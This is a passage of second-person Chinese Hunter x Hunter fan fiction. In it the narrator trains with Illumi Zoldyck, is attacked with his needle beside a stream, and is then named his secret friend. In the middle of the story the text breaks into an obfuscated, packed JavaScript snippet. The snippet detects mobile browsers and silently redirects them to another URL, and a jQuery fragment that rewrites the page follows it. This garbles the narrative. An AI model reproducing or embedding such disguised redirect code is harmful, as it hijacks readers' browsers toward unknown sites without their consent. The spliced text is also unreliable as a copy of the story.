早上六点半你准时从床上被管家小姐姐提溜起来。
事情发展到这种地步,死到临头,你反而淡定了。
前一天晚上还躺在床上拼命回忆漫画和同人里揍敌客家的“通用学习方案”,电刑鞭刑毒物训练,还有什么六岁就去天空竞技场跟好汉们互殴。
诶,说起天空竞技场,你家就在旁边,只要能脱离枯枯戮山到竞技场,何愁不能一哭二闹三上吊罢学啊?
什么龙场悟道什么make卡朋特great again,你就是个混子在夯他世界能保持基本维持生命体征的状态——哦,不行。
你躺在床上,想起水见式测念现场伊尔迷故意落在地上的钉子。
被人做成傀儡,也算基本维持生命体征。
你焦虑了约摸两千次脉搏跳动。
你觉得有点疲惫。
那么事已至此,你决定先睡觉。
于是眼睛一闭一睁,已经是第二天了。
你淡定地跟着管家小姐姐完成基本洗漱穿衣活动,于七点钟来到空荡荡的一楼餐厅吃饭。
饭很好吃,并且全都没有毒,也没有芒刺在背的紧张感,你更淡定了。
七点二十五你来到室外空地的草坪上,被管家小姐姐亲手交给伊尔迷。
管家小姐姐走了,淡定的你被留下跟淡定的伊尔迷单独相处。
你跟伊尔迷打招呼:“早上好。”
伊尔迷冲你点点头:“早上好。”
大家淡定得像是昨天什么都没发生过一样,你对此很是满意。
伊尔迷说:“先跑圈吧,我会跟着你的。”
他又沉吟片刻,“十公里,对从没锻炼过但已经开了念的人来说,理应是能接受的。”
你依旧淡定地点点头,却没给出一句正面回应。
你心想:拜托,在家的时候你连八百米都没有跑过。是这辈子的家。
上辈子的话,你倒是能艰难地在规定时间之外跑……走下来。
有风轻抚过你的头顶。
在摆动胳膊迈开腿之前你隐晦得朝一个方向看了眼。
伊尔迷明显注意到你的视线,他也跟着面无表情地看了一眼。
“你先跑,我很快跟上。”
闻言你老老实实地装作无事发生毫不在意的样子动了起来。
但耳聪目明如你自然能听到身后传来的对话声。
“母亲,你不用那么担心,都是很普通的锻炼计划,我不会把她怎么样的。更何况那些锻炼项目可是我们家的商业机密。”
“妈妈的伊尔迷真是太棒了!事情交给伊尔迷,妈妈一定放心!”
“虽然没经过正统训练,但是卡朋特小姐的‘圆’竟然挺强的,就算是我都没察觉到母亲呢。”
“好了好了,卡朋特家本来就挺古怪的,反正我们只要糊弄好现任的那个卡朋特就行,割金韭菜嘛~”
脚下正好踩到树枝的你差点摔地上。
幸亏你一向反应快,调整好重心。
当你恢复原来速度奔跑的时候,伊尔迷已经追上来了。
你回头朝斜后方看,伊尔迷说:“别看我,看路。”
无语了,谁看他。
你心想。
你是在看基裘。
基裘夫人今天戴着个造型夸张的女士礼帽,你完全看不清她的脸。似乎是注意到你的视线,帽子上作装饰物带闪的黑纱也跟着转了角度,在阳光下晃你眼睛。
真是来看你训练的吗?
反正肯定不是来看她儿子的,毕竟只是这种“普通”程度。
或许是怕她家儿子第一天就不知轻重地把你弄死?
嘛,很有可能。
一路上,你心里都在诽谤揍敌客。
伊尔迷这个陪跑当得很安静,只除了转弯的时候才出声。
你第一次发现自己的体力还不错,在这深山老林里一脚深一脚浅又是上坡又是下坡,竟然没感到一丝疲惫。
甚至,你还想跟伊尔迷聊天。
“好无聊啊,”你试探道。
“训练要专心,”你听到自己斜后方的声音委婉拒绝。
你明白了,这家伙是在装模作样。
身处别人的地盘,一向识时务的你自然不敢造作。
于是你只好全身心地关注大自然。
真奇怪,你们经过的路上都没有鸟叫声或虫子声,明明晚上住在客房的时候还能听到窗外小动物的声音。
这四周只有高大的树木沉默着伫立在原地,像揍敌客家浑身上下黑漆漆的管家们,又像伊尔迷和他母亲空洞无感情的双眼。
真是瘆得慌,你心想。
你数着自己的心跳自己的呼吸自己的脉搏,想知道究竟过了多久。因为你很少锻炼,所以根本无法估计十公里是什么概念。
“十公里到了吗?”你在自己第一个一千次呼吸的时候问伊尔迷。
“不要问我,”你听到伊尔迷的呼吸和心跳声不仅平稳,甚至比你更慢,“我没说停你就接着跑。”
你数到了第二个一千次呼吸。
“伊尔迷,十公里到了吗?”
“我没说停。”
“可我有点渴了。”
“……”
也不知道是你母亲被揍敌客家的割韭菜割得太多,还是基裘夫人曾认真向伊尔迷传达过“千万不要弄死卡朋特小姐并且在此基础上尽量满足她要求”的指令,总之就结果而言,伊尔迷语言指示你,将你带上了一条不归,额,一条小径上。
你们停在一条又浅又细的溪流旁。
你无措地看向伊尔迷那双大眼睛。
伊尔迷不明所以。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432958|169247||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“喝吧。”
你无语了,感觉他像在跟家里宠物说话。
“没有杯子,水也是冷的,我怎么喝?”
一些个刻在灵魂深处的“喝热水”怪癖发作。
伊尔迷没回你,只是挑了块大石头很随意地坐了下来。
“今天中饭和晚饭都在野外吃,这里离母亲也挺远的。”
“水的话,自己用手捧着喝,把头伸过去直接喝,或者我帮你把水灌进……”
“好的不要再说了可以了我明白!”
你以迅雷不及掩耳之势冲到小溪边,蹲下身子埋着脑袋,并用手捧起冰凉凉的溪水,然后往嘴里灌。
噫,全身上下每一个细胞都感觉冷冷的。你有些嫌弃。
根据你的感觉,溪水没有毒。但这不妨碍你嫌弃野外……
身后传来锐器破空的声音,你迅速偏过脑袋躲掉,然后回头望向伊尔迷。
小溪里传来“扑通”声,是有东西掉了进去,而你的注意力全被伊尔迷手指间夹着的钉子吸引了。
“伊尔迷·揍敌客,这是什么意思?”你倒吸一口凉气。这口凉气混着口腔中刚刚经过的冰冷的水,直让你头皮发麻。
伊尔迷依旧自说自话:“真可惜,看来没办法让你永远保证在陪我玩的同时听我话了。”
你原本想问他什么时候要求你陪他玩了。
“……我觉得我目前还挺听你话的,”你斟酌词句,“至于想要交玩伴,你可以说出来嘛。”
考虑到昨天晚上那句“揍敌客没有朋友”的宣言,你小心翼翼地将“朋友”用“玩伴”替换。
逆着光,你看到坐在石头上的伊尔迷冲你歪歪脑袋,他的表情你虽然看不清但你知道他一定是惯常的面无表情。
“昨天晚上的事,谁都不准说出去。今天的,还有以后的,都不准跟任何一个人说。”
“什么意思?”你表示自己是真听不懂啊。
“我是说,”伊尔迷缓慢道,“你有资格做我的朋友了。”
“当然只能是地下关系。”
你无话可说,表示根本不理解操作系的脑回路,也不理解操作系的语言系统:“……”
“还有,”伊尔迷补充道,“你比我还是弱了太多,得更努力才行。”
“行吧,”你有气无力回应道。
推导过程全错,但结果正确——你确实比他弱,这一点你无法反驳。
你对伊尔迷的态度实际上有些无所谓了,反正交个朋友也不会怎么样。
如果说穿越之前,或者说在见到他之前,还能有些奇奇怪怪的想象,当面对他本人之后,你反而觉得他很“普通”了。
也不过是个六岁的小屁孩。
回去的路上,换成是你跟在伊尔迷身后,所以你可以尽情盯着小黑猫的背影在心里各种诽谤。